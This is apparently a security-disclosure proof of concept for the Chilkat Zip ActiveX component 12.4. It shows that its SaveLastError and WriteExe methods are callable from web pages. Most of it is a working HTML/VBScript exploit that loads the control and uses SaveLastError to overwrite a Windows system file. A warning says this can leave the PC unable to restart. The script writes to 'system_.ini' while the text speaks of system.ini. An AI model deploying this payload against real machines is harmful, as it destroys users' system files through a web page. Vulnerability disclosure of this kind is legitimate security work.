Chilkat Zip ActiveX Component 12.4 - Multiple Insecure Methods

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------
 <b>Chilkat Software Chilkat Zip ActiveX Component (ChilkatZip2.dll v. 12.4.2.0)
 "SaveLastError()" and "WriteExe()" Insecure Methods</b>

 url: http://www.chilkatsoft.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.

 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 This control is marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPersist Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data
 KillBitSet: Falso</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
------------------------------------------------------------------------------
<object classid='clsid:DB90DEA9-0897-4B02-9FE0-1E321A22EAB0' id='test'></object>

<script language='vbscript'>
    test.SaveLastError "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"Chilkat Zip")
</script>
</span>
</code></pre>

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